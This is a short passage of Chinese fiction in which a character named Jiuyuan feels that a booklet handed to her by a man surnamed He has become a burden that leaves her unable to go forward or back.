玖鸢忽然觉得，姓何的交与她那本册子，此刻犹如一个烫手山芋，弄得她竟是越发进退维艰了。